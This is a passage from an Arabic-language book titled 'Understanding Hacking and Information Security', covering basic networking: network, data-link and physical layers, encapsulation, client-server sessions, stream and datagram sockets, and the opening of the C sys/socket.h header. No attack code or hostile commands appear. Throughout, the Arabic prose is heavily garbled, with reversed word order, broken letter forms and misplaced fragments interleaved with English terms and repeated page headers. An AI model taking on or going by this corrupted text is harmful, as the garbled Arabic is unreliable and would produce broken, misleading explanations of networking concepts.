‫نا‬ُ‫ذ‬
“Segment”
.
Network Layer
‫عليها‬ ‫الطبقة‬ ‫ذذه‬
Load
‫ال‬ ‫نقل‬ ‫بعملية‬ ‫تقوم‬ ‫قهي‬ ،!‫اليشء‬ ‫بعض‬ ‫كبري‬
"
Network-Layer Packets
"
‫من‬
host
‫آلطر‬
.
‫ال‬ ‫يقوم‬ ‫حيث‬
TCP
‫ال‬ ‫أو‬
UDP
‫ال‬ ‫بإمرار‬
"
Transport-Layer Segment
"
‫ال‬ ‫و‬
"
Destination Address
"
‫ذذه‬ ‫لىل‬
‫الطبق‬
‫ة‬
‫ال‬ ‫رحلة‬ ‫ذنا‬ ‫من‬ ‫تبدأ‬ ‫ثم‬ ،
Network Layer
‫عديد‬ ‫بشبكات‬ ً‫ا‬‫مرور‬
‫ة‬
‫ال‬ ‫لىل‬ ‫اإلنتهاء‬ ‫م‬ُ‫ث‬ ،‫مسريهتا‬ ‫أثناء‬
Destination
‫ال‬ ‫رقع‬ ‫ناك‬ُ‫ذ‬ ‫تم‬َ‫ي‬‫ل‬
Packet
‫ال‬ ‫طبقة‬ ‫لىل‬
Transport
‫اخلاص‬
‫ة‬
‫بال‬
Destination
‫قهي‬ .
(The Network
Layer)
‫من‬ ‫م‬‫َل‬‫ت‬‫َس‬‫ت‬
‫ال‬
Transport Layer
َ‫ه‬‫ج‬ ‫من‬
‫ة‬
‫ال‬ ‫لىل‬ ‫م‬ِّ‫ل‬ َ
‫ُس‬‫ت‬‫و‬
Transport Layer
‫ال‬ ‫ي‬ّ‫م‬ َ‫ُس‬‫ن‬ ..‫األطرى‬ ‫هة‬‫اجل‬ ‫يف‬
packet
‫الطبق‬ ‫ذذه‬ ‫يف‬
‫ة‬
“Datagram”
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[111]
Data-Link Layer
‫ال‬ ‫عرب‬ ‫البيانات‬ ‫نقل‬ ‫يف‬ ‫تخصصه‬ُ‫م‬ ‫الطبقة‬ ‫ذذه‬
Physical Network
.
‫ال‬ ‫بتوقري‬ ‫القيام‬ ‫ها‬‫ف‬‫ظائ‬َ‫و‬ ‫ن‬‫م‬
Addressing Scheme
‫ال‬
:‫يقولون‬ ‫كام‬ ‫أو‬ ،‫الشبكة‬ ‫داطل‬ ‫بنفسها‬ ‫األجهزة‬ ‫تعريف‬‫ل‬ ‫م‬َ‫د‬‫َخ‬‫ت‬‫ُس‬‫ت‬ ‫تي‬
“Identifying Physical Devices”
‫ال‬ ‫مثل‬
MAC Address
‫وال‬ ‫لألجهزة‬ ‫عطى‬ُ‫مل‬‫ا‬
Servers
‫وتقوم‬ ،‫الشبكة‬ ‫داطل‬
،‫األططاء‬ ‫كتصحيح‬ ‫الوظائف‬ ‫ببعض‬ ً‫ا‬‫أيض‬
"
error correction and flow control
،"
‫هم‬ُ‫مل‬‫ا‬ ‫األدوار‬ ‫وبعض‬
‫ة‬
‫يف‬
‫لدارة‬
‫ال‬ ‫طبقة‬ ‫مستوى‬ ‫عىل‬ ‫اإلتصال‬
Data-Link
:‫كامييل‬
Active, maintain, and deactivate data-link connections
‫ن‬‫م‬
‫أمثلة‬
..‫الطبقة‬ ‫ذذه‬ ‫داطل‬ ‫تعمل‬ ‫التي‬ ‫الربوتوكوالت‬ ‫بعض‬
‫ال‬
Ethernet
‫وال‬
WiFi
.
‫ال‬ ‫عىل‬ ‫ق‬َ‫ل‬‫ُط‬‫ن‬
packet
‫نا‬ُ‫ذ‬
“Frame”
.
Physical Layer
‫م‬ ‫تتعامل‬ ‫الطبقة‬ ‫ذذه‬
‫ال‬ ‫ع‬
Row-bit Stream
،
‫ال‬ ‫توصيل‬‫ب‬ ‫تقوم‬ َ‫ي‬‫ه‬َ‫ق‬
Bits
‫من‬
node
‫والربوتوكوالت‬ ،‫طرى‬ُ‫أ‬ ‫لىل‬
‫ال‬ ‫نوع‬ ‫عىل‬ ‫د‬‫َم‬‫ت‬‫َع‬‫ت‬ ‫نا‬ُ‫ذ‬ ‫ة‬َ‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬
"
Transmission Medium
"
.‫ة‬َ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬
‫اخلاص‬ ‫اإلرسال‬ ‫بيعة‬َ‫ط‬ ‫ف‬‫َل‬‫ت‬ َ
‫خت‬ ً‫ال‬‫ث‬َ‫م‬َ‫ق‬
‫ة‬
‫ال‬‫ب‬
(
Twisted-Pair copper wire
)
‫ال‬ ‫ن‬َ‫ع‬
(
Fiber optics
)
‫وذكذ‬
.‫ا‬
‫ال‬
packet
‫عبار‬ ‫ذنا‬
‫ة‬
‫عن‬
“Bits”
!
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[112]
:‫نهم‬‫م‬ ً‫ال‬‫ك‬ ‫دور‬ ‫توضح‬ ‫التي‬ ‫الصورة‬ ‫ذذه‬ ‫معي‬ ‫الحظ‬
‫انتقال‬ ‫عملية‬ ‫ح‬ ِّ
‫ُوض‬‫ت‬ ‫الصورة‬
message
‫من‬
client
‫لىل‬
server
‫غري‬ ،‫رشحناذا‬ ‫التي‬ ‫الطبقات‬ ‫باستخدام‬ ‫االنرتنت‬ ‫عرب‬
‫يف‬ ‫أنه‬
‫احل‬
‫ال‬ ‫الة‬
‫عامة‬
‫واحد‬ ‫طبقة‬ ‫يف‬ ‫طبقات‬ ‫ثالث‬ ‫أول‬ ‫اطتزال‬ ‫يتم‬
‫ة‬
‫ا‬ ‫ذي‬
‫ل‬
Application
‫الشكل‬ ‫يف‬ ‫نرى‬ ‫كام‬
:
‫نأيت‬
‫مل‬
‫ال‬ ‫واستقبال‬ ‫لرسال‬ ‫لية‬َ‫م‬َ‫ع‬ ّ
‫ُص‬ َ
‫خي‬ ‫فهوم‬
Data
:
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[113]
‫ال‬ ‫عىل‬ ‫بياناهتا‬ ‫بإضاقة‬ ‫طبقة‬ ‫كل‬ ‫تقوم‬ ‫اإلرسال‬ ‫عملية‬ ‫أثناء‬
Packet
‫ذيئة‬ ‫عىل‬
Header
،
‫الكلم‬ ‫تعني‬ ‫وكام‬
‫ة‬
‫قهي‬
‫ل‬ِّ‫ث‬َ ُ‫مت‬
"
Head
"
‫رأس‬ ‫أو‬
‫ال‬ ‫هلذه‬
Packet
‫نز‬ ‫قأثناء‬ ‫وبالتايل‬ ،‫هلا‬ ‫عنوان‬ ‫أو‬
‫ال‬ ‫ول‬
packet
‫ذا‬َ‫ذ‬ ‫حجم‬ ‫زداد‬َ‫ي‬ ،‫أسفل‬ ‫لىل‬ ‫أعىل‬ ‫من‬
‫ال‬
Header
‫اإلضاق‬ ‫ملية‬َ‫ع‬ ‫ب‬َ‫ب‬ َ
‫س‬‫ب‬
‫ة‬
َ‫ق‬َ‫ب‬َ‫ط‬ ‫ُل‬‫ك‬ ‫ا‬‫ِب‬ ‫تقوم‬ ‫التي‬
‫ة‬
(Appending its Header info)
،
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ن‬َ‫ع‬ ِّ
‫رب‬َ‫ع‬ُ‫ن‬
process
:‫لح‬َ‫ط‬‫ص‬ُ‫مل‬‫ا‬‫ب‬
“Encapsulation”
..
‫أعىل‬ ‫لىل‬ ‫أسفل‬ ‫ن‬‫م‬ ،!‫كس‬َ‫ع‬‫ال‬‫ب‬ ‫األمر‬ ‫سري‬َ‫ي‬ َ
‫س‬ ‫األطرى‬ ‫اجلهة‬ ‫ويف‬
‫أن‬ ُ
‫حيث‬ ،
‫ال‬
packet
‫ال‬ ‫لىل‬ ‫وصلت‬ ‫قد‬
Physical Layer
‫ال‬ ‫م‬ُ‫ث‬ ً‫ال‬‫أو‬
Data-Link
‫طبق‬ ‫كل‬ ‫وبالتايل‬ ..،‫كذا‬َ‫وذ‬
‫ة‬
‫ال‬ ‫د‬‫ستتفق‬ ‫منهم‬
Header
‫ال‬ ‫ذذا‬ ‫َزع‬‫ن‬‫ب‬ ‫تقوم‬ ‫م‬ُ‫ث‬ ،‫طرى‬ُ‫أل‬‫ا‬ ‫ة‬َ‫ه‬‫اجل‬ ‫يف‬ ‫هلا‬ ‫رة‬‫ناظ‬ُ‫مل‬‫ا‬ ‫الطبقة‬ ‫أضاقته‬ ‫الذي‬
Header
،
‫حجم‬ ‫ص‬ُ‫ق‬‫َنا‬‫ت‬ ‫لىل‬ ‫ؤدي‬ُ‫ي‬ ‫ا‬ّ‫ُم‬
‫ال‬
Header
‫كلام‬
‫ال‬ ‫ذذه‬ ‫عن‬ ِّ
‫رب‬َ‫ع‬ُ‫ن‬‫و‬ .‫ألعىل‬ ‫دنا‬َ‫ع‬ َ
‫ص‬
Process
:‫ح‬َ‫ل‬َ‫ط‬‫ص‬ُ‫مل‬‫ا‬ ‫ِبذا‬
“Decapsulation”
.
‫ال‬ ‫عملية‬ ‫يوضح‬ ‫الشكل‬
Encapsulation
‫وال‬
Decapsulation
:
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[114]
‫ُل‬‫ك‬ ‫ة‬َ‫ي‬‫َسم‬‫ت‬ ‫كل‬ َ
‫الش‬ ‫يف‬ ‫ر‬َ‫ظه‬َ‫ي‬
Header
ُ‫ه‬‫لضاقت‬ ‫م‬‫ت‬َ‫ي‬
‫ب‬
H
‫تب‬َ‫م‬
‫بقة‬َ‫ط‬‫ال‬ ‫لسم‬ ‫ن‬‫م‬ ‫رف‬ َ‫ح‬ ‫بأول‬ ً‫ا‬‫وع‬
..
‫ال‬ ‫أن‬ ‫عي‬َ‫م‬ ‫ظ‬‫الح‬
router
َ‫م‬ ‫أثناء‬
‫ال‬ ‫سرية‬
Packet
‫ل‬َ‫م‬َ‫ع‬‫ب‬ َ‫م‬‫قا‬
Decapsulation
‫زئي‬ ُ‫ج‬
،
‫ال‬ ‫بنزع‬ ‫قام‬ ‫لقد‬
frame header
‫بحيث‬ ‫صياغته‬ ‫وأعاد‬
‫ال‬ ‫يتضمن‬
MAC
‫اجله‬ ‫يف‬ ‫يقع‬ ‫الذي‬ ‫باجلهاز‬ ‫اخلاص‬
‫ة‬
‫ال‬ ‫من‬ ‫األطرى‬
Subnet
.
‫ال‬ ‫لمرار‬ َ‫د‬‫وأعا‬
packet
‫ال‬ ‫لىل‬
Host
‫ال‬ ‫ث‬ُ‫د‬ َ
‫حي‬ ُ
‫حيث‬
Decapsulation
‫ل‬‫الكام‬
‫لديه‬
‫تظهر‬ ‫كي‬
‫ال‬
message
‫قروء‬َ‫مل‬‫ا‬ ‫ها‬‫صيغت‬‫ب‬
‫ة‬
‫شاشة‬ ‫عىل‬
‫ال‬
end user
.
‫اخلاص‬ ‫الربوتوكوالت‬ ‫بعض‬ ‫ييل‬ ‫ما‬
‫ة‬
:‫قوق‬ ‫رشحها‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬ ‫التي‬ ‫بالطبقات‬
‫ذناك‬
‫ال‬ ‫بخصوص‬ ‫مالحظة‬
Processes Communicating
:
‫لنشاء‬ ‫عند‬
Communication Session
‫نوع‬ ‫من‬
Client-Server
‫ال‬ ‫ذذه‬ ‫تكون‬ ‫أن‬ ‫البد‬ ‫أنه‬ ‫يعني‬ ‫قهذا‬
Session
‫بني‬
‫ال‬ ‫أحد‬ ‫و‬ ً‫ال‬‫مث‬ ‫كمبيوتر‬ ‫جهاز‬
Servers
!
.
‫ل‬‫تص‬َ‫ي‬ ‫بام‬ُ‫ر‬
Server
‫ب‬
Server
‫ال‬ ‫نوع‬ ‫ويبقى‬ ‫ر‬ َ
‫آط‬
Session
ً‫ا‬‫أيض‬
"
Client-Server
."
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[115]
‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫تعريف‬ ‫قام‬ ..ً‫ا‬‫لذ‬
Sessions
..
‫؟‬
‫ال‬ ‫بتعريف‬ ‫نقوم‬
Process
‫بال‬ ‫االتصال‬ ‫بإنشاء‬ ‫بالبدء‬ ‫تقوم‬ ‫التي‬
Client
،
‫وال‬
Process
‫أ‬ ‫تنتظر‬ ‫التي‬
‫ِبا‬ ‫يتصل‬ ‫ن‬
‫ال‬ ‫معه‬ ‫لتبدأ‬ ‫أحدذم‬
Session
‫بال‬
Server
.
:‫مثال‬ ‫ُعطي‬‫ن‬‫ل‬
‫ال‬ ‫يقوم‬ ،‫ما‬ ٍ‫خص‬ َ
‫ش‬‫ل‬ ‫للكرتوين‬ ‫ريد‬َ‫ب‬ ‫رسالة‬ ‫ل‬‫ُرس‬‫ت‬ ‫ندما‬‫ع‬
Agent
‫ال‬ ‫وذو‬ ‫بك‬ ‫اخلاص‬
Outlook
‫جهازك‬ ‫عىل‬ ً‫ال‬‫مث‬
‫ال‬ ‫مع‬ ‫بالتواصل‬
Mail Server
‫بال‬ ‫اتصال‬ ‫بإنشاء‬ ‫بدوره‬ ‫ذو‬ ‫يقوم‬ ‫ثم‬ ،‫بك‬ ‫اخلاص‬
Mail Server
‫ب‬ ‫اخلاص‬
،‫صديقك‬
‫ال‬ ‫الحظ‬
Communication
‫ال‬ ‫بني‬ ‫حيدث‬ ‫اآلن‬
Mail Servers
‫نوع‬ ‫من‬ ‫قهو‬ ‫ذلك‬ ‫من‬ ‫وبالرغم‬
Client-Server
،!
‫ال‬ ‫قيكون‬
Server
‫ال‬ ‫ذو‬ ‫بك‬ ‫اخلاص‬
Client
‫عليه‬ ‫ُطلق‬‫ن‬‫و‬
“SMTP Client”
‫واآلطر‬
‫ال‬ ‫ذو‬
Server
‫عليه‬ ‫ُطلق‬‫ن‬ ‫و‬
“SMTP Server”
.
‫ولكن‬
‫مالعالقه‬
‫ال‬ ‫بني‬
Layers
Network
‫ال‬ ‫و‬
Network Protocols
‫!؟‬
‫نحن‬
‫اآلن‬
‫ب‬ ‫علم‬ ‫عىل‬
‫ال‬
Network Layers
،
‫الشبكات‬ ‫بروتوكوالت‬ ‫لنا‬ ‫يتبقى‬
..
‫ماييل‬
‫تعريف‬
ُ
‫ُم‬
:‫هلا‬ َ
‫َرص‬‫ت‬
Networking protocols specify what types of data can be sent, how each type of message will be
identified, what actions can or must be taken by participants in the conversation. precisely..
“Where in the packet header each type of required information will be placed”.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[116]
The Socket
،‫الكمبيوتر‬ ‫عىل‬ ‫ما‬ ٍ
‫برنامج‬ ‫بتشغيل‬ ‫نقوم‬ ‫عندما‬
‫قنكون‬
‫بذ‬
‫لك‬
‫تح‬َ‫ف‬‫ب‬ ‫منا‬ُ‫ق‬
Process
‫ال‬ ‫ذذا‬ ‫عىل‬
O.S
.
‫حتتاج‬ ً‫ا‬‫أحيان‬
َ
‫الرب‬
‫ال‬ ‫أو‬ ‫ج‬‫ام‬
(Processes)
‫ال‬ ‫نفس‬ ‫عىل‬ ‫البعض‬ ‫ها‬‫بعض‬ ‫مع‬ ‫تتواصل‬ ‫أن‬
O.S
،
‫ى‬‫م‬ َ
‫س‬ُ‫ي‬ ‫ل‬ ُ
‫التواص‬ َ‫ن‬‫م‬ ‫النوع‬ ‫ذذا‬
“Interprocess Communication”
.
‫ال‬ ‫ضها‬‫فر‬َ‫ي‬ ‫قوانني‬ ‫قق‬‫و‬ ‫ث‬ُ‫د‬ َ
‫وحي‬
O.S
.‫هلم‬ ‫ضيف‬ُ‫مل‬‫ا‬
!‫جيد‬ ‫ذذا‬
.
‫ال‬ ‫عىل‬ ‫الرتكيز‬ ‫د‬َ‫د‬ َ
‫ص‬‫ب‬ ‫نا‬ُ‫ذ‬ ‫ولكننا‬
communications
‫ال‬ ‫بني‬
Processes
‫ال‬
‫ال‬ ‫نفس‬ ‫يف‬ ‫تقع‬ ‫ال‬ ‫تي‬
Host
،
‫ق‬‫ُطل‬‫ن‬ ‫كام‬ ‫أو‬
‫عليها‬
“Processes on two different end systems”
.
‫ال‬ ‫ذذه‬ ‫أحد‬ ‫تقوم‬ ‫ولكي‬
Processes
‫ال‬ ‫أو‬
Applications
‫أو‬ ‫رسالة‬ ‫بإرسال‬
Packet
‫ال‬ ‫لىل‬
Process
‫قنحن‬ ‫األطرى‬
‫بحاج‬
‫ة‬
‫ال‬ ‫عرب‬ ‫رور‬ُ‫للم‬
"
underlying network
."
‫ال‬ ‫ذذه‬ ‫تقوم‬ ‫وبالتايل‬
Process
‫الرسال‬ ‫بإرسال‬
‫ة‬
،
‫ال‬ ‫وتقوم‬
Process
‫مهي‬َ‫و‬ ‫ذ‬َ‫ف‬‫ن‬َ‫م‬ َ‫رب‬َ‫ع‬ ‫الرسالة‬ ‫تلك‬ ‫باستقبال‬ ‫األطرى‬ ‫اجلهة‬ ‫يف‬ ‫الثانية‬
(Logical)
‫أو‬
"
Software Interface
.."
‫ال‬ ‫ذذه‬
Software Interface
‫عليها‬ ‫ق‬‫ُطل‬‫ن‬
“Socket”
.
‫ال‬ ‫ذو‬ ‫قام‬
“Socket”
‫؟‬ً‫ا‬‫لذ‬
.
‫ن‬َ‫ع‬ ‫ة‬َ‫بار‬‫ع‬ ُ‫ه‬‫لن‬
Interface
‫ال‬ ‫بني‬ ‫ع‬َ‫ق‬َ‫ت‬
Application Layer
‫ال‬ ‫و‬
Transport Layer
‫ال‬ ‫ى‬َ‫د‬َ‫ل‬
Host
.
‫الصورة‬
‫التالية‬
‫ال‬ ‫توضح‬
Socket
:
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[117]
‫بتعريف‬ ‫نقوم‬ ،‫الربجميات‬ ‫وبلغة‬
‫وظيفة‬
‫ال‬
Socket
‫بامييل‬
:
“It can be used to send or receive data over a network”.
‫كرنا‬َ‫ذ‬
‫ال‬ ‫َصميم‬‫ت‬‫ب‬ ‫قوم‬َ‫ي‬ ‫الذي‬ ‫ج‬‫ربم‬ُ‫مل‬‫ا‬ ‫أن‬ ً‫ا‬‫سابق‬
Application
‫ال‬ ‫لرسال‬ ‫ملية‬َ‫ع‬ ‫يف‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫الربوتوكول‬ ‫نوع‬ ‫د‬ِّ‫حد‬ُ‫ي‬ َ
‫س‬
Data
،
‫ال‬ ‫نوع‬‫ل‬ ً‫ا‬‫تبع‬ ‫وذلك‬
Application
،
‫ال‬ ‫ة‬َ‫م‬‫د‬‫ط‬ ‫نا‬َ‫ل‬ ‫م‬ِّ‫قد‬ُ‫ي‬ ‫اليوتيوب‬ :ً‫ال‬‫ث‬َ‫م‬َ‫ق‬
Video Streaming
..
‫ة‬َ‫م‬‫د‬‫اخل‬ ‫ه‬‫ذ‬َ‫ذ‬
‫ال‬ ‫بروتوكول‬ َ‫رب‬َ‫ع‬ ‫ستخدمني‬ُ‫كم‬ ‫للينا‬ ‫يلها‬‫َوص‬‫ت‬‫ب‬ ‫يقوم‬
TCP
،
‫برن‬ ‫تصميم‬ ‫عند‬ ‫بينام‬
‫كال‬ ‫امج‬
Internet Telephony
‫ال‬ ‫استخدام‬ ‫قيكون‬
UDP
‫أقض‬
‫ل‬
.
‫االتصال‬ ‫بروتوكوالت‬ ‫من‬ ‫رئيسيان‬ ‫نوعان‬ ‫لدينا‬ ‫أننا‬ ‫وبام‬
TCP & UDP
..
‫قلدينا‬
‫ال‬ ‫من‬ ‫رئيسيني‬ ‫نوعني‬ ً‫ا‬‫أيض‬
“Sockets”
‫الصفح‬ ‫يف‬ ‫نستعرضهم‬ ،
‫ة‬
‫التالي‬
‫ة‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[118]
Stream Sockets
ََ‫مل‬‫كا‬ُ‫مل‬‫ا‬ ‫كرة‬‫ق‬ ‫لىل‬ ‫أقرب‬ ‫عمله‬ ‫قكرة‬
‫ة‬
‫اهلاتفي‬
‫ة‬
‫يف‬ ،!
‫نوع‬ ‫ن‬‫م‬ ‫ا‬‫كوهن‬
“Two-way Communication”
،
‫د‬‫ر‬َ‫ج‬ُ‫م‬‫ب‬ ‫أنه‬ ‫بمعنى‬
َ‫ن‬‫م‬ ُ‫ه‬‫ع‬َ‫سم‬َ‫ي‬ ‫الذي‬ ‫الكالم‬ َ‫ن‬‫م‬ ‫ُد‬‫ك‬‫التأ‬ ‫م‬ُ‫نه‬‫م‬ ِّ‫ألي‬ ‫ن‬‫مك‬ُ‫ي‬ ‫كذلك‬ ،‫ث‬ُ‫التحد‬ ‫م‬ُ‫نه‬‫م‬ ِّ‫ألي‬ ‫ن‬‫مك‬ُ‫ي‬‫قس‬ ‫بينهم‬ ‫اإلتصال‬ ‫قناة‬ ‫تح‬َ‫ق‬
‫بنعم‬ ‫يب‬ ُ
‫جي‬ ‫أن‬ ‫لآلطر‬ ‫ن‬‫مك‬ُ‫ي‬‫و‬ ‫وكذا؟‬ ‫كذا‬ ‫لت‬ُ‫ق‬ ‫ذل‬ :‫سأله‬َ‫ي‬ ‫أن‬‫ب‬ ‫اآلطر‬ ‫ف‬ َ‫ر‬َ‫ط‬‫ال‬
..!‫أراد‬ ‫لن‬ ‫َالم‬‫ك‬‫ال‬ ُ‫ه‬‫ل‬ ‫عيد‬ُ‫ي‬ ‫أن‬ ‫أو‬ ،‫ال‬ ‫أو‬
‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫أن‬ ‫أقصد‬ ‫بأين‬ َ
‫مت‬‫عل‬ ‫د‬َ‫ق‬ ‫وأنك‬ ‫د‬ُ‫ب‬‫ال‬
Sockets
‫ال‬ ‫سيستخدم‬
TCP
،
‫ال‬ ‫بإيصال‬ ‫هتمني‬ُ‫م‬ ‫نا‬ُ‫ذ‬ ‫ألننا‬
Packets
‫ة‬‫أي‬ ‫دوث‬ ُ‫ح‬ ‫دون‬
Errors
.!
ِّ‫ف‬‫َص‬‫ت‬ُ‫م‬ ‫قوم‬َ‫ي‬ ‫ما‬َ‫ند‬‫ع‬ ‫اإلتصال‬ ‫قنوات‬ ‫ن‬‫م‬ ‫النوع‬ ‫ذذا‬ ‫استخدام‬ ‫م‬‫ت‬َ‫ي‬ ‫ولذلك‬
‫بال‬ ‫باإلتصال‬ ً‫ال‬‫ث‬َ‫م‬ ‫ك‬َ‫ح‬
Mail Servers
‫أو‬
Web Servers
.!‫مكان‬ ‫أي‬ ‫يف‬
Datagram Sockets
‫لىل‬ ‫أقرب‬ ‫االتصال‬ ‫يكون‬ ‫نا‬ُ‫ذ‬
‫قكرة‬
‫ال‬
“One-way Communication”
،
‫ذا‬َ‫ه‬َ‫ق‬ ،‫ف‬‫اهلات‬ ‫ة‬ََ‫مل‬‫كا‬ُ‫م‬ ‫ه‬‫شب‬ُ‫ي‬ ‫األول‬ َ‫كان‬ ‫قإذا‬
‫ند‬‫ع‬ ‫كر‬َ‫تتذ‬ ‫ذل‬ ،!‫يد‬ َ
‫الرب‬ َ‫رب‬َ‫ع‬ ‫سالة‬‫ر‬‫ل‬ ‫ك‬‫لرسال‬ ‫ة‬ّ‫ي‬‫ل‬َ‫م‬َ‫ع‬ ‫ه‬‫شب‬ُ‫ي‬
‫ن‬‫م‬ ‫ة‬َ‫م‬‫قد‬ُ‫مل‬‫ا‬ ‫اإلطتبارات‬ ‫أحد‬ ‫يف‬ ‫ك‬‫َجاح‬‫ن‬
Cisco
،
‫تقوم‬ ‫م‬ُ‫ث‬
‫ك‬ ‫الشهادة‬ ‫لب‬َ‫ط‬‫ب‬
Hard copy
،
‫ال‬ ‫ذذا‬ ‫تنتظر‬‫ل‬
US Mail
‫لليك‬ ‫وصوهلا‬ ‫حلة‬‫ر‬ ‫ق‬‫تستغر‬ ‫بام‬ُ‫ور‬ ،‫الشهادة‬ َ
‫لك‬ ‫ل‬‫رس‬ُ‫ي‬ ‫كي‬
َ‫ي‬ ً‫ا‬‫أيض‬ ‫بام‬ُ‫ور‬ ،‫كذلك؟‬ ‫أليس‬ !‫شهر‬ ‫ن‬‫م‬ ‫أكثر‬
..!‫يشء‬ ‫لك‬‫ص‬َ‫ي‬ ‫وال‬ ‫األمر‬ ‫ر‬ّ‫ث‬‫َع‬‫ت‬
‫وت‬ ُ
‫رب‬‫ب‬ ‫أشبه‬ ‫ذذا‬
‫ال‬ ‫وكول‬
UDP
،
‫ال‬ ‫ل‬‫رس‬ُ‫ي‬ ‫لنه‬
Packets
.‫الوصول‬ ‫ك‬َ‫ل‬ ‫ن‬َ‫ضم‬َ‫ي‬ ‫وال‬
‫يغة‬‫ص‬‫ب‬ ‫هادات‬ َ
‫الش‬ ‫ب‬ُ‫ل‬‫َط‬‫ت‬ ‫أن‬ ‫الدرس‬ ‫ذا‬َ‫ذ‬ ‫ن‬‫م‬ ‫م‬‫قتتعل‬
PDF
‫ن‬َ‫م‬‫تض‬‫ل‬ ‫ذلك‬ ‫بعد‬
‫ليها‬َ‫ع‬ ‫ولك‬ ُ
‫ص‬ ُ‫ح‬

..
‫ال‬ ‫استخدام‬ ‫ح‬ ِّ
‫توض‬ ‫أشكال‬ ‫ييل‬ ‫ما‬
Stream Socket
‫ني‬َ‫ب‬ ‫اتصال‬ ‫عملية‬ ‫أثناء‬
Client
‫و‬
Server
.
‫الشكل‬ ‫يف‬ ‫ظ‬‫الح‬
‫األول‬
‫أن‬
‫ال‬
output stream
‫ال‬ ‫لىل‬ ‫سيذذب‬ ‫اجلهاز‬‫ب‬ ‫اخلاص‬
Buffer
‫ال‬ ‫لىل‬ ‫م‬ُ‫ث‬
Server
‫ذيئة‬ ‫عىل‬
input
‫والعكس‬
‫انتقال‬ ‫عند‬
‫ال‬
data
‫ال‬ ‫من‬
Server
‫ال‬ ‫لىل‬
client
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[119]
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[120]
‫قد‬ ‫نكون‬ ‫نا‬ُ‫ذ‬ ‫لىل‬
‫األولية‬ ‫املرحلة‬ ‫ذذه‬ ‫من‬ ‫انتهينا‬
.
‫واآلن‬
‫سنبدأ‬
‫بال‬
ُّ‫م‬َ‫ع‬‫ت‬
ً‫ال‬‫قلي‬ ‫ق‬
‫ال‬ ‫األكواد‬ ‫ستخدمني‬ُ‫م‬
‫ربجمية‬
،!‫انتبه‬ .
‫القادم‬ ‫الفقرات‬ ‫يف‬ ‫سنعتمد‬
‫ة‬
‫التي‬ ‫األساسيات‬ ‫عىل‬
.‫األول‬ ‫الباب‬ ‫يف‬ ‫تناولناذا‬
..!‫لق‬َ‫ط‬‫نن‬‫ل‬ ..‫ذيا‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[121]
Socket Functions
‫ال‬ ‫ر‬‫تتذك‬ ‫ذل‬
file access
‫ال‬ ‫نستخدم‬ ‫ا‬‫ُن‬‫ك‬ ،‫السابق؟‬ ‫الباب‬ ‫يف‬ ‫رشحناذا‬ ‫التي‬
"
file descriptor
"
‫ل‬َ‫م‬َ‫ع‬‫ل‬
identify
‫ُل‬‫ك‬‫ل‬
‫و‬ ُ‫ه‬‫قتح‬ ‫يتم‬ ‫ملف‬
‫ال‬ ‫بقيام‬ ‫ذلك‬
kernel
‫بمثابة‬ ‫يكون‬‫ل‬ ‫برقم‬ ‫العملية‬ ‫ذذه‬ ‫بط‬ َ‫ر‬‫ب‬
reference
.‫التشغيل‬ ‫نظام‬ ‫لدى‬ ‫هلا‬
ً‫ا‬‫أيض‬
‫ال‬
Sockets
‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬‫و‬ ،‫ق‬‫نط‬َ‫مل‬‫ا‬ ‫َفس‬‫ن‬‫ب‬ ‫ل‬َ‫م‬‫تتعا‬
Functions
‫ل‬َ‫م‬َ‫ع‬ ‫داء‬‫أل‬ ً‫ا‬‫أيض‬
‫ال‬ ‫م‬‫َخد‬‫ت‬‫س‬َ‫ي‬ َ‫كان‬ ‫كام‬ ‫ها‬
file access
‫موعة‬ َ
‫جم‬
‫ال‬ َ‫ن‬‫م‬
functions
‫ثل‬‫م‬
write( )
‫و‬
read( )
.
‫ل‬َ‫م‬َ‫ع‬ ‫َم‬‫ت‬
define
‫ال‬ ‫ه‬‫ذ‬َ‫هل‬
functions
‫ال‬ ‫لها‬‫َعم‬‫ت‬‫س‬َ‫ي‬ ‫التي‬
Socket
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫يف‬
Lib
:
<Sys/sockets.h>
/usr/include/sys/socket.h
‫ال‬ ‫ذذه‬ ‫من‬ ‫سطور‬ ‫أول‬ ‫ييل‬ ‫ما‬
Lib
:
/* Declarations of socket constants, types, and functions.
2: Copyright (C) 1991,92,1994-2001,2003,2005,2007
3: Free Software Foundation, Inc.
4: This file is part of the GNU C Library.
‫ال‬ ‫بعض‬ ‫ذذه‬
functions
‫اخلاص‬ ‫األساسية‬
‫ة‬
‫بال‬
Sys/Socket.h Library
:
